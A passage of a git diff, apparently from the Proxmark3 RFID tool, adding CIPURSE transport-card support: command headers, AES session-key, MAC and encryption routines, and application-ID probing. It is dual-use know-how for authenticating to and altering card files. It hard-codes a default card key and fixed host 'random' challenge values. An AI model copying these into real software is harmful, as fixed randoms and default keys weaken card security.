+//----------------------------------------------------------------------------- +// CIPURSE transport cards data and commands +//----------------------------------------------------------------------------- + +#ifndef __CIPURSECORE_H__ +#define __CIPURSECORE_H__ + +#include "common.h" + +#include +#include "iso7816/apduinfo.h" // sAPDU +#include "cipurse/cipursecrypto.h" + + +#define CIPURSE_DEFAULT_KEY {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73} + +void CIPURSEPrintInfoFile(uint8_t *data, size_t len); + +int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); + +int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); + +int CIPURSECreateFile(uint8_t *attr, uint16_t attrlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); + +int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) ; +int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int CIPURSEReadFileAttributes(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); + +bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose); +void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp); + +void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len); + +#endif /* __CIPURSECORE_H__ */ diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c new file mode 100644 index 000000000..e68adc14f --- /dev/null +++ b/client/src/cipurse/cipursecrypto.c @@ -0,0 +1,528 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// CIPURSE crypto primitives +//----------------------------------------------------------------------------- + +#include "cipursecrypto.h" + +#include "commonutil.h" // ARRAYLEN +#include "comms.h" // DropField +#include "util_posix.h" // msleep +#include // memcpy memset + +#include "cmdhf14a.h" +#include "emv/emvcore.h" +#include "emv/emvjson.h" +#include "crypto/libpcrypto.h" +#include "ui.h" +#include "util.h" + +uint8_t AESData0[CIPURSE_AES_KEY_LENGTH] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +uint8_t QConstant[CIPURSE_AES_KEY_LENGTH] = {0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74}; + +uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl) { + switch (lvl) { + case CPSNone: + return 0x00; + case CPSPlain: + return 0x00; + case CPSMACed: + return 0x01; + case CPSEncrypted: + return 0x02; + default: + return 0x00; + } +} + +static void bin_xor(uint8_t *d1, uint8_t *d2, size_t len) { + for (size_t i = 0; i < len; i++) + d1[i] = d1[i] ^ d2[i]; +} + +static void bin_ext(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) { + if (srclen > dstlen) + memcpy(dst, &src[srclen - dstlen], dstlen); + else + memcpy(dst, src, dstlen); +} + +static void bin_pad(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) { + memset(dst, 0, dstlen); + if (srclen <= dstlen) + memcpy(&dst[dstlen - srclen], src, srclen); + else + memcpy(dst, src, dstlen); +} + +static void bin_pad2(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) { + memset(dst, 0, dstlen); + uint8_t dbl[srclen * 2]; + memcpy(dbl, src, srclen); + memcpy(&dbl[srclen], src, srclen); + bin_pad(dst, dstlen, dbl, srclen * 2); +} + +static uint64_t rotateLeft48(uint64_t src) { + uint64_t dst = src << 1; + if (dst & 0x0001000000000000UL) { + dst = dst | 1; + dst = dst & 0x0000ffffffffffffUL; + } + return dst; +} + +static uint64_t computeNLM48(uint64_t x, uint64_t y) { + uint64_t res = 0; + + for (int i = 0; i < 48; i++) { + res = rotateLeft48(res); + if (res & 1) + res = res ^ CIPURSE_POLY; + y = rotateLeft48(y); + if (y & 1) + res = res ^ x; + } + return res; +} + +static void computeNLM(uint8_t *res, uint8_t *x, uint8_t *y) { + uint64_t x64 = 0; + uint64_t y64 = 0; + + for (int i = 0; i < 6; i++) { + x64 = (x64 << 8) | x[i]; + y64 = (y64 << 8) | y[i]; + } + + uint64_t res64 = computeNLM48(x64, y64); + + for (int i = 0; i < 6; i++) { + res[5 - i] = res64 & 0xff; + res64 = res64 >> 8; + } +} + +static void CipurseCGenerateK0AndCp(CipurseContext *ctx) { + uint8_t temp1[CIPURSE_AES_KEY_LENGTH] = {0}; + uint8_t temp2[CIPURSE_AES_KEY_LENGTH] = {0}; + uint8_t kp[CIPURSE_SECURITY_PARAM_N] = {0}; + + // session key derivation function + // kP := NLM(EXT(kID), rP) + // k0 := AES(key=PAD2(kP) XOR PAD(rT),kID) XOR kID + bin_ext(temp1, CIPURSE_SECURITY_PARAM_N, ctx->key, CIPURSE_AES_KEY_LENGTH); + computeNLM(kp, ctx->rP, temp1); // param sizes == 6 bytes + bin_pad2(temp1, CIPURSE_AES_KEY_LENGTH, kp, CIPURSE_SECURITY_PARAM_N); + bin_pad(temp2, CIPURSE_AES_KEY_LENGTH, ctx->rT, CIPURSE_SECURITY_PARAM_N); + bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH); + + // session key K0 + aes_encode(NULL, temp1, ctx->key, ctx->k0, CIPURSE_AES_KEY_LENGTH); + bin_xor(ctx->k0, ctx->key, CIPURSE_AES_KEY_LENGTH); + + // first frame key k1, function to calculate k1, + // k1 := AES(key = RP; k0 XOR RT) XOR (k0 XOR RT) + memcpy(temp1, ctx->k0, CIPURSE_AES_KEY_LENGTH); + bin_xor(temp1, ctx->RT, CIPURSE_AES_KEY_LENGTH); + aes_encode(NULL, ctx->RP, temp1, temp2, CIPURSE_AES_KEY_LENGTH); + bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH); + memcpy(ctx->frameKey, temp1, CIPURSE_AES_KEY_LENGTH); + + // function to caluclate cP := AES(key=k0, RP). + // terminal response + aes_encode(NULL, ctx->k0, ctx->RP, ctx->cP, CIPURSE_AES_KEY_LENGTH); +} + +static void CipurseCGenerateCT(uint8_t *k0, uint8_t *RT, uint8_t *CT) { + aes_encode(NULL, k0, RT, CT, CIPURSE_AES_KEY_LENGTH); +} + +// from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/securemessaging/CipurseSecureMessage.java#L68 +void CipurseCGetKVV(uint8_t *key, uint8_t *kvv) { + uint8_t res[16] = {0}; + aes_encode(NULL, key, AESData0, res, CIPURSE_AES_KEY_LENGTH); + memcpy(kvv, res, CIPURSE_KVV_LENGTH); +} + +void CipurseCClearContext(CipurseContext *ctx) { + if (ctx == NULL) + return; + + memset(ctx, 0, sizeof(CipurseContext)); +} + +void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key) { + if (ctx == NULL) + return; + + CipurseCClearContext(ctx); + + ctx->keyId = keyId; + memcpy(ctx->key, key, member_size(CipurseContext, key)); +} + +void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp) { + ctx->RequestSecurity = req; + ctx->ResponseSecurity = resp; +} + +bool isCipurseCChannelSecuritySet(CipurseContext *ctx) { + return ((ctx->RequestSecurity != CPSNone) && (ctx->ResponseSecurity != CPSNone)); +} + +void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random) { + if (ctx == NULL) + return; + + memcpy(ctx->RP, random, member_size(CipurseContext, RP)); + memcpy(ctx->rP, random + member_size(CipurseContext, RP), member_size(CipurseContext, rP)); +} + +void CipurseCSetRandomHost(CipurseContext *ctx) { + memset(ctx->RT, 0x10, member_size(CipurseContext, RT)); + memset(ctx->rT, 0x20, member_size(CipurseContext, rT)); +} + +uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent) { + uint8_t res = LePresent ? 1 : 0; + res = res | (CipurseCSecurityLevelEnc(ctx->ResponseSecurity) << 2); + res = res | (CipurseCSecurityLevelEnc(ctx->RequestSecurity) << 6); + return res; +} + +static void CipurseCFillAuthData(CipurseContext *ctx, uint8_t *authdata) { + memcpy(authdata, ctx->cP, member_size(CipurseContext, cP)); + memcpy(&authdata[member_size(CipurseContext, cP)], ctx->RT, member_size(CipurseContext, RT)); + memcpy(&authdata[member_size(CipurseContext, cP) + member_size(CipurseContext, RT)], ctx->rT, member_size(CipurseContext, rT)); +} + +void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata) { + if (ctx == NULL) + return; + + CipurseCSetRandomHost(ctx); + CipurseCGenerateK0AndCp(ctx); + CipurseCGenerateCT(ctx->k0, ctx->RT, ctx->CT); + + if (authdata != NULL) + CipurseCFillAuthData(ctx, authdata); +} + +bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT) { + return (memcmp(CT, ctx->CT, CIPURSE_AES_KEY_LENGTH) == 0); +} + +void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen) { + *ddatalen = sdatalen + 1; + *ddatalen += blocklen - *ddatalen % blocklen; + memset(ddata, 0, *ddatalen); + memcpy(ddata, sdata, sdatalen); + ddata[sdatalen] = ISO9797_M2_PAD_BYTE; +} + +size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen) { + for (int i = datalen; i > 0; i--) { + if (data[i - 1] == 0x80) + return i - 1; + if (data[i - 1] != 0x00) + return 0; + } + return 0; +} + +static uint16_t CipurseCComputeMICCRC(uint8_t *data, size_t len) { + uint16_t initCRC = 0x6363; + for (size_t i = 0; i < len; i++) { + uint8_t ch = data[i] ^ initCRC; + ch = ch ^ ((ch << 4) & 0xff); + initCRC = (initCRC >> 8) ^ (ch << 8) ^ (ch << 3) ^ (ch >> 4); + } + return initCRC; +} + +void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic) { + size_t plen = 0; + uint8_t pdata[datalen + CIPURSE_MIC_LENGTH]; + memset(pdata, 0, sizeof(pdata)); + + // 0x00 padding + memcpy(pdata, data, datalen); + plen = datalen; + if (datalen % CIPURSE_MIC_LENGTH) + plen += CIPURSE_MIC_LENGTH - datalen % CIPURSE_MIC_LENGTH; + + // crc + uint16_t crc1 = CipurseCComputeMICCRC(pdata, plen); + + for (size_t i = 0; i < datalen; i += 4) { + uint8_t tmp1 = pdata[i + 0]; + uint8_t tmp2 = pdata[i + 1]; + pdata[i + 0] = pdata[i + 2]; + pdata[i + 1] = pdata[i + 3]; + pdata[i + 2] = tmp1; + pdata[i + 3] = tmp2; + } + + uint16_t crc2 = CipurseCComputeMICCRC(pdata, plen); + if (mic != NULL) { + mic[0] = crc2 >> 8; + mic[1] = crc2 & 0xff; + mic[2] = crc1 >> 8; + mic[3] = crc1 & 0xff; + } +} + +bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic) { + uint8_t xmic[CIPURSE_MIC_LENGTH] = {0}; + + CipurseCGenerateMIC(data, datalen, xmic); + return (memcmp(xmic, mic, CIPURSE_MIC_LENGTH) == 0); +} + +/* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L521 + * + * Encrypt/Decrypt the given data using ciphering mechanism explained the OPST. + * Data should be already padded. + * + * hx-1 := ki , hx := AES( key = hx-1 ; q) XOR q, Cx := AES( key = hx ; + * Dx ), hx+1 := AES( key = hx ; q ) XOR q, Cx+1 := AES( key = hx+1 ; + * Dx+1 ), ... hy := AES( key = hy-1 ; q ) XOR q, Cy := AES( key = hy ; + * Dy ), ki+1 := hy + */ +void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt) { + uint8_t hx[CIPURSE_AES_KEY_LENGTH] = {0}; + + if (datalen == 0 || datalen % CIPURSE_AES_KEY_LENGTH != 0) + return; + + memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH); + int i = 0; + while (datalen > i) { + aes_encode(NULL, QConstant, ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH); + bin_xor(hx, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); + + if (isEncrypt) + aes_encode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH); + else + aes_decode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH); + + memcpy(ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH); + i += CIPURSE_AES_KEY_LENGTH; + } + memcpy(ctx->frameKey, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); +} + +void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen) { + uint8_t pdata[datalen + CIPURSE_AES_KEY_LENGTH]; + size_t pdatalen = 0; + AddISO9797M2Padding(pdata, &pdatalen, data, datalen, CIPURSE_AES_KEY_LENGTH); + + CipurseCEncryptDecrypt(ctx, pdata, pdatalen, encdata, true); + *encdatalen = pdatalen; +} + +void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen) { + CipurseCEncryptDecrypt(ctx, data, datalen, plaindata, false); + *plaindatalen = FindISO9797M2PaddingDataLen(plaindata, datalen); +} + +/* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L473 + * + * Generate OSPT MAC on the given input data. + * Data should be already padded. + * + * Calculation of Mi and ki+1: hx := ki , hx+1 := AES( key = hx ; Dx ) + * XOR Dx , hx+2 := AES( key = hx+1 ; Dx+1 ) XOR Dx+1, hx+3 := AES( key = + * hx+2 ; Dx+2 ) XOR Dx+2, ... hy+1 := AES( key = hy ; Dy ) XOR Dy, ki+1 := + * hy+1 M'i := AES( key = ki ; ki+1 ) XOR ki+1, Mi := m LS bits of M'i = ( + * (M'i )0, (M'i )1, ..., (M'i )m-1) + */ +void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) { + uint8_t temp[CIPURSE_AES_KEY_LENGTH] = {0}; + + memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH); + int i = 0; + while (datalen > i) { + aes_encode(NULL, ctx->frameKeyNext, &data[i], temp, CIPURSE_AES_KEY_LENGTH); + bin_xor(temp, &data[i], CIPURSE_AES_KEY_LENGTH); + memcpy(ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH); + i += CIPURSE_AES_KEY_LENGTH; + } + + aes_encode(NULL, ctx->frameKey, ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH); + bin_xor(temp, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); + memcpy(ctx->frameKey, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); + if (mac != NULL) + memcpy(mac, temp, CIPURSE_MAC_LENGTH); +} + +void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) { + uint8_t pdata[datalen + CIPURSE_AES_KEY_LENGTH]; + size_t pdatalen = 0; + AddISO9797M2Padding(pdata, &pdatalen, data, datalen, CIPURSE_AES_KEY_LENGTH); + CipurseCGenerateMAC(ctx, pdata, pdatalen, mac); +} + +bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) { + uint8_t xmac[CIPURSE_MAC_LENGTH] = {0}; + CipurseCCalcMACPadded(ctx, data, datalen, xmac); + return (memcmp(mac, xmac, CIPURSE_MAC_LENGTH) == 0); +} + +static void CipurseCAPDUMACEncode(CipurseContext *ctx, sAPDU *apdu, uint8_t originalLc, uint8_t *data, size_t *datalen) { + data[0] = apdu->CLA; + data[1] = apdu->INS; + data[2] = apdu->P1; + data[3] = apdu->P2; + data[4] = apdu->Lc; + *datalen = 5 + apdu->Lc; + + if (ctx->RequestSecurity == CPSMACed || ctx->RequestSecurity == CPSEncrypted) + *datalen = 5 + originalLc; + memcpy(&data[5], apdu->data, *datalen); +} + +void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t *dstdatabuf, bool includeLe, uint8_t Le) { + uint8_t mac[CIPURSE_MAC_LENGTH] = {0}; + uint8_t buf[260] = {0}; + size_t buflen = 0; + + memcpy(dstapdu, srcapdu, sizeof(sAPDU)); + + if (isCipurseCChannelSecuritySet(ctx) == false) + return; + + dstapdu->CLA |= 0x04; + dstapdu->data = dstdatabuf; + dstapdu->data[0] = CipurseCGetSMI(ctx, includeLe); + dstapdu->Lc++; + memcpy(&dstdatabuf[1], srcapdu->data, srcapdu->Lc); + if (includeLe) { + dstapdu->data[dstapdu->Lc] = Le; + dstapdu->Lc++; + } + uint8_t originalLc = dstapdu->Lc; + + switch (ctx->RequestSecurity) { + case CPSNone: + break; + case CPSPlain: + CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen); + CipurseCCalcMACPadded(ctx, buf, buflen, NULL); + break; + case CPSMACed: + dstapdu->Lc += CIPURSE_MAC_LENGTH; + CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen); + CipurseCCalcMACPadded(ctx, buf, buflen, mac); + memcpy(&dstdatabuf[dstapdu->Lc - CIPURSE_MAC_LENGTH], mac, CIPURSE_MAC_LENGTH); + break; + case CPSEncrypted: + dstapdu->Lc = srcapdu->Lc + CIPURSE_MIC_LENGTH; + dstapdu->Lc += CIPURSE_AES_BLOCK_LENGTH - dstapdu->Lc % CIPURSE_AES_BLOCK_LENGTH + 1; // 1 - SMI + if (includeLe) + dstapdu->Lc++; + + CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen); + CipurseCGenerateMIC(buf, buflen, mac); + buf[0] = dstapdu->CLA; + buf[1] = dstapdu->INS; + buf[2] = dstapdu->P1; + buf[3] = dstapdu->P2; + memcpy(&buf[4], srcapdu->data, srcapdu->Lc); + memcpy(&buf[4 + srcapdu->Lc], mac, CIPURSE_MIC_LENGTH); + //PrintAndLogEx(INFO, "data plain[%d]: %s", 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, sprint_hex(buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH)); + CipurseCChannelEncrypt(ctx, buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, &dstdatabuf[1], &buflen); + break; + default: + break; + } + +} + +void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw) { + uint8_t buf[260] = {0}; + size_t buflen = 0; + uint8_t micdata[260] = {0}; + size_t micdatalen = 0; + + if (dstdatalen != NULL) + *dstdatalen = 0; + if (sw != NULL) + *sw = 0; + + if (srcdatalen < 2) + return; + + srcdatalen -= 2; + uint16_t xsw = srcdata[srcdatalen] * 0x0100 + srcdata[srcdatalen + 1]; + if (sw) + *sw = xsw; + + if (isCipurseCChannelSecuritySet(ctx) == false) { + memcpy(dstdata, srcdata, srcdatalen); + if (dstdatalen != NULL) + *dstdatalen = srcdatalen; + return; + } + + switch (ctx->ResponseSecurity) { + case CPSNone: + break; + case CPSPlain: + memcpy(buf, srcdata, srcdatalen); + buflen = srcdatalen; + memcpy(&buf[buflen], &srcdata[srcdatalen], 2); + buflen += 2; + CipurseCCalcMACPadded(ctx, buf, buflen, NULL); + + memcpy(dstdata, srcdata, srcdatalen); + if (dstdatalen != NULL) + *dstdatalen = srcdatalen; + break; + case CPSMACed: + if (srcdatalen < CIPURSE_MAC_LENGTH) + return; + + buflen = srcdatalen - CIPURSE_MAC_LENGTH; + memcpy(buf, srcdata, buflen); + memcpy(&buf[buflen], &srcdata[srcdatalen], 2); + buflen += 2; + + srcdatalen -= CIPURSE_MAC_LENGTH; + if (CipurseCCheckMACPadded(ctx, buf, buflen, &srcdata[srcdatalen]) == false) { + PrintAndLogEx(WARNING, "APDU MAC is not valid!"); + } + memcpy(dstdata, srcdata, srcdatalen); + if (dstdatalen != NULL) + *dstdatalen = srcdatalen; + break; + case CPSEncrypted: + CipurseCChannelDecrypt(ctx, srcdata, srcdatalen, buf, &buflen); + //PrintAndLogEx(INFO, "data plain[%d]: %s", buflen, sprint_hex(buf, buflen)); + + micdatalen = buflen - 2 - CIPURSE_MIC_LENGTH; + memcpy(micdata, buf, buflen); + memcpy(&micdata[micdatalen], &buf[buflen - 2], 2); + micdatalen += 2; + + if (CipurseCCheckMIC(micdata, micdatalen, &buf[micdatalen - 2]) == false) { + PrintAndLogEx(ERR, "APDU response MIC is not valid!"); + } + + memcpy(dstdata, buf, micdatalen - 2); + if (dstdatalen != NULL) + *dstdatalen = micdatalen - 2; + if (sw) + *sw = micdata[micdatalen - 2] * 0x0100 + micdata[micdatalen - 1]; + break; + default: + break; + } + +} diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h new file mode 100644 index 000000000..7790eb600 --- /dev/null +++ b/client/src/cipurse/cipursecrypto.h @@ -0,0 +1,86 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// CIPURSE crypto primitives +//----------------------------------------------------------------------------- + +#ifndef __CIPURSECRYPTO_H__ +#define __CIPURSECRYPTO_H__ + +#include "common.h" +#include "iso7816/apduinfo.h" // sAPDU + +#define CIPURSE_KVV_LENGTH 4 +#define CIPURSE_AES_KEY_LENGTH 16 +#define CIPURSE_AES_BLOCK_LENGTH 16 +#define CIPURSE_SECURITY_PARAM_N 6 +#define CIPURSE_MAC_LENGTH 8 +#define CIPURSE_MIC_LENGTH 4 +#define CIPURSE_POLY 0x35b088cce172UL +#define ISO9797_M2_PAD_BYTE 0x80 + +#define member_size(type, member) sizeof(((type *)0)->member) + +typedef enum { + CPSNone, + CPSPlain, + CPSMACed, + CPSEncrypted +} CipurseChannelSecurityLevel; + +typedef struct CipurseContextS { + uint8_t keyId; + uint8_t key[CIPURSE_AES_KEY_LENGTH]; + + uint8_t RP[CIPURSE_AES_KEY_LENGTH]; + uint8_t rP[CIPURSE_SECURITY_PARAM_N]; + uint8_t RT[CIPURSE_AES_KEY_LENGTH]; + uint8_t rT[CIPURSE_SECURITY_PARAM_N]; + + uint8_t k0[CIPURSE_AES_KEY_LENGTH]; + uint8_t cP[CIPURSE_AES_KEY_LENGTH]; + uint8_t CT[CIPURSE_AES_KEY_LENGTH]; + + uint8_t frameKey[CIPURSE_AES_KEY_LENGTH]; + uint8_t frameKeyNext[CIPURSE_AES_KEY_LENGTH]; + + CipurseChannelSecurityLevel RequestSecurity; + CipurseChannelSecurityLevel ResponseSecurity; +} CipurseContext; + +uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl); + +void CipurseCClearContext(CipurseContext *ctx); +void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key); +void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random); +void CipurseCSetRandomHost(CipurseContext *ctx); +uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent); + +void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata); +bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT); + +void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp); +bool isCipurseCChannelSecuritySet(CipurseContext *ctx); + +void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen); +size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen); + +void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); +void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); +bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); +void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic); +bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic); +void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt); +void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen); +void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen); +void CipurseCGetKVV(uint8_t *key, uint8_t *kvv); + +void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t *dstdatabuf, bool includeLe, uint8_t Le); +void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw); + + +#endif /* __CIPURSECRYPTO_H__ */ diff --git a/client/src/cmdhf.c b/client/src/cmdhf.c index 369234b9d..8a7afeb2a 100644 --- a/client/src/cmdhf.c +++ b/client/src/cmdhf.c @@ -33,6 +33,7 @@ #include "cmdhftopaz.h" // TOPAZ #include "cmdhffelica.h" // ISO18092 / FeliCa #include "cmdhffido.h" // FIDO authenticators +#include "cmdhfcipurse.h" // CIPURSE transport cards #include "cmdhfthinfilm.h" // Thinfilm #include "cmdhflto.h" // LTO-CM #include "cmdhfcryptorf.h" // CryptoRF @@ -58,9 +59,13 @@ int CmdHFSearch(const char *Cmd) { ); void *argtable[] = { arg_param_begin, + arg_lit0("v", "verbose", "verbose output"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool verbose = arg_get_lit(ctx, 1); + CLIParserFree(ctx); int res = PM3_ESOFT; @@ -89,6 +94,8 @@ int CmdHFSearch(const char *Cmd) { if (infoHF14A(false, false, false) > 0) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO 14443-A tag") " found\n"); res = PM3_SUCCESS; + + infoHF14A4Applications(verbose); } } @@ -399,6 +406,7 @@ static command_t CommandTable[] = { {"14b", CmdHF14B, AlwaysAvailable, "{ ISO14443B RFIDs... }"}, {"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"}, // {"cryptorf", CmdHFCryptoRF, AlwaysAvailable, "{ CryptoRF RFIDs... }"}, + {"cipurse", CmdHFCipurse, AlwaysAvailable, "{ Cipurse transport Cards... }"}, {"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"}, {"emrtd", CmdHFeMRTD, AlwaysAvailable, "{ Machine Readable Travel Document... }"}, {"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / FeliCa RFIDs... }"}, diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 6396323ca..fd8d9db9a 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -169,6 +169,17 @@ const char *getTagInfo(uint8_t uid) { return manufactureMapping[ARRAYLEN(manufactureMapping) - 1].desc; } +static const hintAIDListT hintAIDList[] = { + // AID, AID len, name, hint - how to use + { "\xA0\x00\x00\x06\x47\x2F\x00\x01", 8, "FIDO", "hf fido" }, + { "\xA0\x00\x00\x03\x08\x00\x00\x10\x00\x01\x00", 11, "PIV", "" }, + { "\xD2\x76\x00\x01\x24\x01", 8, "OpenPGP", "" }, + { "\x31\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31", 14, "EMV (pse)", "hf emv" }, + { "\x32\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31", 14, "EMV (ppse)", "hf emv" }, + { "\x41\x44\x20\x46\x31", 5, "CIPURSE", "hf cipurse" }, + { "\xd2\x76\x00\x00\x85\x01\x00", 7, "desfire", "hf mfdes" }, +}; + // iso14a apdu input frame length static uint16_t frameLength = 0; uint16_t atsFSC[] = {16, 24, 32, 40, 48, 64, 96, 128, 256}; @@ -2131,6 +2142,57 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { return select_status; } +int infoHF14A4Applications(bool verbose) { + bool cardFound[ARRAYLEN(hintAIDList)] = {0}; + bool ActivateField = true; + int found = 0; + for (int i = 0; i < ARRAYLEN(hintAIDList); i++) { + uint16_t sw = 0; + uint8_t result[1024] = {0}; + size_t resultlen = 0; + int res = Iso7816Select(CC_CONTACTLESS, ActivateField, true, (uint8_t *)hintAIDList[i].aid, hintAIDList[i].aid_length, result, sizeof(result), &resultlen, &sw); + ActivateField = false; + if 